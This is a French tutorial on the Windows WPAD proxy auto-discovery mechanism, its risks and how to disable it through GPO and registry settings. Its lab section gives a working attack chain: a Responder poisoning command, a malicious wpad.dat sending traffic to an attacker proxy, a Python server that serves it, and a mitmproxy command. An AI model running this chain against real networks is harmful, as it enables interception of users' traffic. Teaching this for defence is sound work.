WPAD est activé par défaut sur les postes Windows, mais savez-vous réellement à quoi il sert ? Représente-t-il un risque ? Faut-il le désactiver ou le configurer ? Cet article est là pour vous éclairer et répondre à l’ensemble de ces questions.
WPAD signifie Web Proxy Auto-Discovery. Derrière ce sigle se cache un mécanisme qui permet à une machine de découvrir seule la configuration du proxy à utiliser. Un mécanisme de détection automatique plutôt pratique sur le papier. Mais lorsqu’aucun serveur WPAD légitime n’existe sur le réseau, cette recherche automatique devient un canal idéal pour les attaquants, notamment pour tenter d’empoisonner la résolution de noms ou de voler des identifiants via NTLM.
Dans cet article, nous verrons d’abord ce qu’est WPAD et comment il fonctionne réellement sous Windows. Ensuite, nous passerons en revue les risques de sécurité associés, chaque attaque sera alors présentée brièvement. Enfin, je vous montrerai comment neutraliser WPAD proprement sur un parc, par GPO et via le Registre, sans oublier les mesures complémentaires qui vont de pair.
Note : cet article a une visée pédagogique et défensive. Mener ce type de test sur un réseau dont vous n’êtes pas responsable est illégal.
Qu’est-ce que le protocole WPAD ?
WPAD, pour Web Proxy Auto-Discovery, est un mécanisme qui permet à un système d’exploitation ou à une application (un navigateur, par exemple) de localiser automatiquement le fichier de configuration du proxy à utiliser pour accéder à Internet, sans intervention manuelle de l’utilisateur.
Dans un réseau d’entreprise qui impose le passage par un proxy (filtrage de la navigation web, mise en cache des pages, etc.), plutôt que de configurer manuellement l’adresse du proxy sur chaque poste, l’administrateur publie un fichier de configuration. Les clients le récupèrent tout seuls au démarrage grâce à WPAD. Ce fichier, généralement nommé wpad.dat, est un fichier PAC (Proxy Auto-Config). Il prend la forme d’un petit script JavaScript qui contient une fonction FindProxyForURL(url, host) chargée d’indiquer, pour chaque URL demandée, quel proxy utiliser (ou une connexion directe).
Sous Windows, la brique qui implémente WPAD est WinHTTP, à travers la fonction WinHttpGetProxyForUrl et le service WinHTTP Web Proxy Auto-Discovery Service (WinHttpAutoProxySvc). Microsoft Edge (et d’autres navigateurs comme Google Chrome), de nombreuses applications .NET et une bonne partie des composants système s’appuient sur cette couche. Le paramètre « Détecter automatiquement les paramètres » des options Internet de Windows correspond exactement à l’activation de WPAD, et il est coché par défaut.
Qu’est-ce qu’un fichier PAC ?
Un fichier PAC (Proxy Auto-Config) est un fichier texte contenant du code JavaScript. Il sert à déclarer une fonction FindProxyForURL(url, host) qui retourne une chaîne indiquant le proxy à employer.
Voici un exemple minimaliste où tout passe par le proxy, sauf le réseau local :
// Exemple de fichier PAC
function FindProxyForURL(url, host) {
// Accès direct pour les ressources internes
if (isPlainHostName(host) || dnsDomainIs(host, “.it-connect.local”)) {
return “DIRECT”;
}
// Tout le reste passe par le proxy d’entreprise
return “PROXY proxy.it-connect.local:8080”;
}
Ce fichier déclare aussi l’adresse du proxy, à savoir ici : proxy.it-connect.local:8080. Les clients solliciteront alors le proxy situé à cette adresse.
Le fichier wpad.dat distribué par WPAD n’est rien d’autre qu’un fichier PAC servi à une adresse bien connue. C’est là que réside toute la sensibilité du mécanisme : celui qui contrôle le contenu de ce script contrôle la route que prend le trafic des clients.
Note : certains cybercriminels utilisent des fichiers PAC conçus spécifiquement pour détourner certains flux, tout en laissant des flux légitimes passer en direct afin de ne pas éveiller les soupçons.
Une recherche en plusieurs phases
Il est important de commencer par comprendre comment fonctionne WPAD, surtout dans la façon dont le client tente de localiser le fichier de configuration. Windows essaie successivement plusieurs méthodes, dans un ordre précis, jusqu’à obtenir une réponse. Cet ordre est le suivant :
Requête DHCP (via l’option 252 qui contient un champ prévu pour stocker l’URL du fichier)
Requête DNS
Requête LLMNR (Link-Local Multicast Name Resolution)
Requête NetBIOS (NBT-NS)
Il tente ces différentes méthodes pour chercher à obtenir l’URL du fichier PAC.
Pour approfondir le fonctionnement et les dangers de certains de ces protocoles, je vous renvoie à nos articles dédiés : Comment et pourquoi désactiver les protocoles LLMNR et NetBIOS ? et Comment désactiver le protocole mDNS sous Windows ?
Observer la découverte WPAD avec Wireshark
Depuis un poste Windows avec Wireshark, il est possible de capturer en direct les requêtes émises par le client pour localiser le fichier PAC. Si vous souhaitez tester de votre côté, voici la marche à suivre :
Assurez-vous que l’option « Détecter automatiquement les paramètres » est bien activée dans les options de proxy de Windows, faute de quoi aucun trafic WPAD ne sera généré.
Lancez une capture Wireshark sur l’interface réseau active du poste.
Videz le cache DNS pour que la requête wpad reparte sur le réseau. Dans une invite en administrateur :
ipconfig /flushdns
Forcez une nouvelle détection. Dans les options Internet, décocher puis recocher « Détecter automatiquement les paramètres ». C’est la méthode la plus simple, car elle n’interrompt pas la capture.
Il y a d’abord la phase de découverte, où le client cherche à résoudre le nom wpad, donc par exemple wpad.it-connect.local (en fonction du suffixe DNS). Ensuite, s’il obtient une réponse, la phase de récupération où il va chercher le fichier wpad.dat en HTTP et s’authentifie auprès du proxy.
Pour isoler la phase de découverte dans Wireshark, il est possible d’appliquer un filtre dans Wireshark. Voici un exemple de filtre complet :
dns.qry.name contains “wpad” || nbns.name contains “WPAD” || dhcp.option.type == 252
Détail des composantes de ce filtre :
dhcp.option.type == 252 : l’option DHCP 252 qui transporte l’URL du fichier de configuration (présente uniquement si votre serveur DHCP la publie).
dns.qry.name contains “wpad” : les requêtes DNS de résolution du nom wpad (et sa remontée de suffixe). Ce champ remonte aussi les requêtes LLMNR pour wpad et mDNS pour wpad.local, car Wireshark les dissèque avec les mêmes champs que le DNS.
nbns.name contains “WPAD” : les requêtes NetBIOS (NBT-NS) pour WPAD.
Ce premier filtre ne montre que la découverte, pas la récupération. D’ailleurs, la phase de récupération est la plus critique : le client Windows va effectuer une requête HTTP anonyme pour télécharger le fichier. Il s’agit d’un simple GET vers http://wpad./wpad.dat, ou vers l’URL fournie par l’option DHCP 252. Cette requête part sans identifiants, et c’est la bonne pratique. Par contre, l’authentification via NTLM peut intervenir si une authentification est renvoyée par le serveur qui sert le fichier PAC. Ce sera le cas si le serveur répond 401 avec un en-tête WWW-Authenticate: NTLM (ou Negotiate). Le client ne fait que réagir à ce défi, il ne le provoque pas.
Nous en reparlerons. Passons d’ailleurs dès à présent à la partie dédiée aux risques liés à WAPD.
Les risques de sécurité liés à WPAD
Le principe commun à toutes ces attaques est simple : celui qui parvient à fournir sa propre configuration de proxy à un poste contrôle la route que prend son trafic. Voici les principales attaques associées à WPAD, présentées rapidement. Leur faisabilité réelle en 2026 varie beaucoup.
L’empoisonnement de la résolution de noms
Sur un réseau où les postes cherchent un serveur WPAD qui n’existe pas, ils diffusent des requêtes pour le nom wpad, en LLMNR, mDNS ou NBT-NS lorsqu’ils résolvent le nom court.
Un attaquant présent sur le même segment peut alors répondre à ces requêtes et se fait passer pour le point de terminaison WPAD. C’est l’étape d’entrée de la plupart des attaques, et elle reste simple à réaliser, en particulier sur les réseaux à plat, avec des machines hors domaine ou encore sur un Wi-Fi invités. Ce schéma relève de la technique T1557.001 du framework MITRE ATT&CK, qui couvre l’empoisonnement de LLMNR, NBT-NS et mDNS.
L’interception du trafic via un fichier PAC malveillant
Une fois l’empoisonnement réussi, l’attaquant sert un fichier wpad.dat qui route le trafic du client vers son propre proxy. Il se place alors en homme du milieu : il peut lire et modifier le trafic HTTP en clair, et observer les destinations des connexions HTTPS. En revanche, le contenu HTTPS reste chiffré tant qu’aucune autorité de certification malveillante n’est installée sur le poste. En pratique, ce vecteur sert surtout de position de pivot, pour rediriger vers un faux portail ou amorcer du phishing, plutôt que de lecture directe des données.
C’est ce type de détournement que nous avons documenté dans un cas réel visant des voyageurs : Ils piratent le Wi-Fi des hôtels pour siphonner les comptes Microsoft 365.
Le vol d’identifiants NTLM, un vecteur historique
Historiquement, WPAD permettait de capturer automatiquement les identifiants NTLM d’un poste, car le client s’authentifiait de lui-même auprès du proxy malveillant. Une machine pirate connectée sur le même segment réseau, un coup de Responder avec les bonnes options, et il n’y avait qu’à attendre qu’un PC morde à l’hameçon.
Microsoft a fermé cette porte en juin 2016 avec le correctif MS16-077. Sur un Windows à jour, Windows 10 comme Windows 11, le poste ne fournit plus ses identifiants à un proxy découvert par WPAD. L’empoisonnement de wpad réussit toujours, mais uniquement pour délivrer un fichier PAC malveillant accessible sans authentification.
Le vol d’identifiants par empoisonnement reste d’actualité, mais via d’autres méthodes, comme l’authentification SMB (un nom de partage mal saisi, par exemple), pas via WPAD. Nous détaillons ce vecteur, toujours exploitable, dans nos articles sur le honeypot LLMNR et l’investigation d’un LLMNR poisoning et d’un SMB Relay avec Wireshark.
Où en est le risque réel en 2026 ?
Pour résumer sans dramatiser : l’empoisonnement de WPAD est facile, mais le risque principal lié à l’authentification a été atténué il y a plusieurs années. À l’heure actuelle, il me semble vraiment difficile d’obtenir le vol de hash NTLM via WPAD.
Le risque qui demeure est l’interception et le pivot, et il concerne avant tout les réseaux non maîtrisés, à savoir les postes nomades, le BYOD, le Wi-Fi d’hôtel ou invité. À l’inverse, un poste bien géré, à jour, membre d’un domaine avec un suffixe DNS, et sur lequel LLMNR, mDNS et NBT-NS sont désactivés, est nettement moins exposé.
De son côté, le CERT-FR évoque également un risque lié à un conflit de nommage pouvant mener à l’émission d’une requête DNS WPAD vers un DNS public. Mais pour que cela fonctionne, l’attaquant doit en amont enregistrer et maîtriser le sous-domaine ciblé.
Trois briques suffisent pour reproduire ces attaques dans un environnement de test. Il existe d’autres façons de procéder, mais voici une approche simple.
Responder pour l’empoisonnement de la résolution de noms. Il répond aux requêtes LLMNR, mDNS et NBT-NS pour se faire passer pour le serveur WPAD. On le lance en empoisonneur seul, après avoir désactivé son serveur HTTP dans Responder.conf (pour laisser le port 80 au serveur web ci-dessous) :
sudo responder -I eth0 -v
Quelques minutes plus tard, de premières requêtes devraient apparaître :
Un serveur web qui sert le fichier wpad.dat (le fichier PAC).
Remplacez l’adresse 192.168.10.216 par celle de votre machine d’attaque :
// wpad.dat — route tout le trafic (sauf it-connect.fr) vers le proxy de l’attaquant
function FindProxyForURL(url, host) {
if (shExpMatch(host, “it-connect.fr”) || shExpMatch(host, “*.it-connect.fr”)) {
return “DIRECT”;
}
return “PROXY 192.168.10.216:8080”;
}
Point à connaître : Windows n’applique le PAC que s’il est servi avec le type MIME application/x-ns-proxy-autoconfig. Un simple python3 -m http.server ne le positionne pas, il faut un petit serveur dédié qui le fait, lancé avec sudo python3 serveur-wpad.py :
# serveur-wpad.py — sert wpad.dat (présent dans le dossier) avec le bon type MIME
from http.server import BaseHTTPRequestHandler, HTTPServer
with open(“wpad.dat”, “rb”) as f:
PAC = f.read()
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header(“Content-Type”, “application/x-ns-proxy-autoconfig”)
self.send_header(“Content-Length”, str(len(PAC)))
self.end_headers()
self.wfile.write(PAC)
HTTPServer((“0.0.0.0”, 80), Handler).serve_forever()
Vous pourrez constater que le fichier est bien distribué lorsqu’un client le demande :
mitmproxy, pour l’interception : c’est le proxy vers lequel pointe le fichier PAC, et son interface web affiche le trafic capturé. On le lance en proxy explicite :
mitmweb –listen-port 8080
De premières captures seront ensuite visibles sur l’interface d’interception du proxy. Une alternative consiste aussi à déclarer l’URL du fichier PAC directement dans les paramètres de Windows, ce qui élimine toute la phase de distribution, selon ce que vous souhaitez tester.
Passons à la partie défensive ! Si vous n’utilisez pas le mécanisme WPAD, il est préférable de le désactiver : c’est de toute façon une bonne pratique globale pour réduire la surface d’attaque des postes de travail. Si vous configurez votre proxy d’une autre façon (GPO, par exemple) ou que tous vos flux passent obligatoirement par votre firewall, cela n’a pas d’intérêt de garder WPAD.
Désactiver WPAD n’est pas une simple case à cocher. Pour que ce soit efficace, il faut agir sur plusieurs couches :
Les piles HTTP de Windows : WinHTTP (niveau machine) et WinINet (paramètres de l’utilisateur).
Les navigateurs, qu’il est préférable de verrouiller explicitement.
Les protocoles de résolution de noms par lesquels la requête « wpad » peut être émise : LLMNR, mDNS et NetBIOS.
Et vous pouvez aussi aller jusqu’à l’infrastructure : DNS et DHCP.
Pour la suite, nous allons créer deux GPO dédiées, l’une avec la configuration appliquée au niveau de l’ordinateur (C_Securite_WPAD_WinHTTP) et l’autre appliquée au niveau de l’utilisateur (U_Securite_WPAD).
Désactiver WPAD au niveau de WinHTTP (DisabledWpad)
Depuis Windows 10 1809 et Windows Server 2019, il existe une valeur de Registre qui désactive WPAD pour la pile WinHTTP. Nous allons la déployer avec une préférence de registre. Commencez par créer et éditer la GPO ordinateur, à savoir C_Securite_WPAD_WinHTTP.
Dans la GPO, accédez à l’emplacement suivant :
Configuration ordinateur > Préférences > Paramètres Windows > Registre
Créez un nouvel élément de registre avec ces paramètres :
Action : Mettre à jour
Ruche : HKEY_LOCAL_MACHINE
Chemin d’accès de la clé : SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp
Nom de valeur : DisableWpad
Type de valeur : REG_DWORD
Données de valeur : 1
Ce qui donne :
Attention, cette valeur reste en place sur le poste même si la GPO est supprimée par la suite.
Il y a deux limites associées à ce paramètre :
Ce réglage ne concerne que les appels de détection de proxy effectués via WinHTTP. Une application peut toujours résoudre le nom wpad directement en DNS.
Pour aller au bout de notre idée, il est nécessaire de désactiver aussi la détection automatique dans les paramètres de Windows (notamment car des navigateurs s’appuient sur ces paramètres). C’est ce que nous ferons par la suite.
Faut-il désactiver le service WinHttpAutoProxySvc ?
Vous pourriez être tenté de désactiver le service « Service de découverte automatique de Proxy Web pour les services HTTP Windows » (WinHttpAutoProxySvc). Toutefois, il y a plusieurs effets de bords qui m’amènent à ne pas le recommander : il n’est plus possible de configurer un proxy manuellement, certains clients VPN cessent de fonctionner, tout comme certains outils réseau.
Il n’y a que dans le cas où vous n’utilisez pas de proxy du tout sur votre infrastructure où cela peut avoir du sens. Mais à tester comme toujours. Dans ce cas, déployez une préférence de registre qui passe la valeur Start à 4 sous la clé HKLM\SYSTEM\CurrentControlSet\Services\WinHttpAutoProxySvc. Cette configuration n’est pas effectuée ici.
Désactiver la détection automatique des paramètres
L’option « Détecter automatiquement les paramètres », visible dans Paramètres > Réseau et Internet > Proxy sur Windows, correspond au paramétrage WinINet de l’utilisateur. C’est ce réglage que lisent Edge, Chrome et la plupart des applications. Il est donc important de gérer ce cas.
Ce qui suit est à réaliser dans la GPO utilisateur : U_Securite_WPAD.
Pour le configurer, dans la GPO, accédez à l’emplacement suivant :
Configuration utilisateur > Préférences > Paramètres du Panneau de configuration > Paramètres Internet
Créez un nouvel élément de type « Internet Explorer 10 ». Alors, oui, ça peut étonner, mais cet élément fonctionne toujours sous Windows 11, même si Internet Explorer a disparu (paix à son âme).
Avant de modifier quoi que ce soit, il faut comprendre le fonctionnement de cet élément. Les paramètres soulignés en pointillés rouges ne sont pas appliqués, seuls ceux soulignés en vert le sont. Ces touches permettent de gérer cet état (ce qui vous évite de configurer des options par inadvertance) :
F5 : active tous les paramètres de l’onglet
F6 : active uniquement le paramètre sélectionné
F7 : désactive le paramètre sélectionné
F8 : désactive tous les paramètres de l’onglet
Tout paramètre resté en vert est écrit sur les postes et écrase la configuration de l’utilisateur (page d’accueil, zones de sécurité, etc.). Pour ne cibler que la détection automatique, procédez ainsi :
Parcourez chaque onglet de l’élément et appuyez sur F8, afin que plus aucun paramètre ne soit souligné en vert.
Dans l’onglet « Connexions », cliquez sur « Paramètres réseau ».
Décochez « Détecter automatiquement les paramètres », puis sélectionnez cette case et appuyez sur F6 : elle doit être soulignée en vert.
Validez, puis rouvrez l’élément pour vérifier qu’aucun autre paramètre n’est repassé en vert.
Testez le résultat sur un poste de référence avant de généraliser.
Empêcher l’utilisateur de réactiver l’option
Pour verrouiller le réglage poussé via la stratégie Paramètres Internet, activez le paramètre suivant dans la GPO utilisateur :
Configuration utilisateur > Stratégies > Modèles d’administration > Composants Windows > Internet Explorer > Désactiver la modification des paramètres de configuration automatique
Proxy et WPAD : verrouiller la configuration des navigateurs
Même si les navigateurs suivent par défaut les paramètres système, je vous recommande de verrouiller leur configuration de proxy par stratégie. Ainsi, aucun navigateur ne tentera de détection automatique, quelle que soit la configuration locale.
Pour Microsoft Edge et Google Chrome, utilisez la stratégie ProxySettings. Elle remplace les anciennes stratégies ProxyMode, ProxyServer et ProxyPacUrl, désormais dépréciées, et elle est prioritaire sur elles si elles sont encore configurées.
Si vous débutez dans la configuration des navigateurs par GPO, je vous recommande de lire cet article :
Pour Microsoft Edge, après avoir importé les modèles ADMX dans votre magasin central, accédez à l’emplacement suivant de la GPO (utilisateur ou ordinateur) :
Configuration utilisateur > Stratégies > Modèles d’administration > Microsoft Edge > Serveur proxy > Paramètres de proxy
Activez le paramètre et saisissez la valeur JSON sur une seule ligne. Mais alors que mettre ? Je vous invite à lire l’aide du paramètre. Voici la valeur à utiliser pour un fonctionnement sans proxy (applicable aussi avec Chrome) :
{“ProxyMode”: “direct”}
Avec un proxy fixe :
{“ProxyMode”: “fixed_servers”, “ProxyServer”: “proxy.it-connect.local:3128”}
Si vous souhaitez conserver un fichier PAC, utilisez le mode pac_script avec une URL fixe : la découverte automatique n’est alors plus utilisée.
Pour Google Chrome, c’est le même principe, avec la même valeur, en configurant ce paramètre :
Configuration utilisateur > Modèles d’administration > Google > Google Chrome > Paramètres de proxy
Voici un exemple :
Pour Mozilla Firefox, utilisez les paramètres situés sous Paramètres Proxy (modèle ADMX de Firefox). Je vous encourage à faire ceci :
Activer le paramètre nommé Ne pas autoriser la modification des paramètres de proxy
Activer le paramètre nommé Type de connexion et choisir Aucun proxy. L’alternative consiste à le caler sur les paramètres du système, ce qui revient à désactiver la découverte automatique grâce à ce qui a été fait précédemment.
Libérez-vous de LLMNR, mDNS et NetBIOS
Désactiver WPAD sur les postes est indispensable, mais tant que LLMNR, mDNS et NetBIOS restent actifs, un attaquant peut toujours empoisonner la résolution de noms pour d’autres scénarios. Ces trois protocoles sont la porte d’entrée exploitée par Responder, avec ou sans WPAD. Ci-dessous, quelques instructions pour aller dans ce sens, mais je vous encourage à lire ces deux articles avant d’agir :
Désactiver LLMNR
LLMNR se désactive avec un paramètre natif des modèles d’administration :
Configuration ordinateur > Stratégies > Modèles d’administration > Réseau > Client DNS > Désactiver la résolution de noms multidiffusion
Passez ce paramètre sur « Activé ». Il écrit la valeur EnableMulticast à 0 sous HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient dans le Registre de Windows.
Si vous souhaitez tester directement sur une machine :
reg add “HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient” /v EnableMulticast /t REG_DWORD /d 0 /f
Désactiver mDNS
Pour mDNS, il n’existe pas de paramètre dans les modèles d’administration. Nous allons ajouter une préférence de registre dans la configuration ordinateur :
Action : Mettre à jour
Ruche : HKEY_LOCAL_MACHINE
Chemin d’accès de la clé : SYSTEM\CurrentControlSet\Services\Dnscache\Parameters
Nom de valeur : EnableMDNS
Type de valeur : REG_DWORD
Données de valeur : 0
L’équivalent à tester directement sur une machine :
reg add “HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters” /v EnableMDNS /t REG_DWORD /d 0 /f
Désactiver NetBIOS sur TCP/IP
Aucun paramètre de GPO ne désactive NetBIOS sur TCP/IP pour toutes les cartes réseau. Le paramètre « Configurer les paramètres NetBIOS », présent dans les modèles d’administration récents du client DNS, ne désactive pas NetBIOS sur toutes les interfaces. Je vous encourage à lire l’article cité précédemment pour désactiver NetBIOS correctement.
Si vous souhaitez le faire manuellement, rien que pour tester avant de déployer à plus grande échelle, vous pouvez configurer la carte réseau de cette façon :
Testez avant de généraliser : certains équipements anciens dépendent encore de NetBIOS.
Vérifier que WPAD est bien désactivé
Une fois la GPO appliquée (gpupdate /force puis redémarrage du poste), vérifiez les différents réglages sur le PC. La première chose à faire, c’est d’accéder à Paramètres > Réseau et Internet > Proxy, afin de vérifier l’état de l’option « Détecter automatiquement les paramètres ». Celle-ci doit être désactivée et grisée.
À l’aide de la ligne de commande, vous pouvez aussi aller plus loin dans les vérifications en exécutant ces deux commandes :
# WinHTTP : la valeur doit être égale à 1
reg query “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp” /v DisableWpad
# Configuration du proxy WinHTTP
netsh winhttp show proxy
Aucune requête ne doit apparaître, que ce soit en DNS, en LLMNR (UDP 5355), en mDNS (UDP 5353) ou en NetBIOS (UDP 137).
Conclusion
WPAD est un mécanisme ancien, conçu pour simplifier la vie des administrateurs à une époque où le proxy d’entreprise était incontournable. Aujourd’hui, sur la majorité des réseaux qui ne distribuent pas de fichier PAC, il ne rend plus service et se contente d’exposer les postes de travail Windows.
En résumé : si vous ne distribuez pas de fichier PAC via WPAD, ce mécanisme ne vous apporte rien et ne fait qu’élargir votre surface d’attaque. Donc, désactivez-le : par GPO, c’est rapide et vous avez désormais une procédure pas à pas pour le faire.
Cofondateur d’IT-Connect et Microsoft MVP “Cloud and Datacenter Management”. Mon obsession depuis près de 15 ans ? Rendre l’administration système et la cybersécurité accessibles, que vous soyez junior ou confirmé. Plus qu’un métier, l’IT est pour moi une véritable passion. J’accompagne au quotidien les sysadmins et les professionnels de l’IT dans leur montée en compétences et leur veille technique.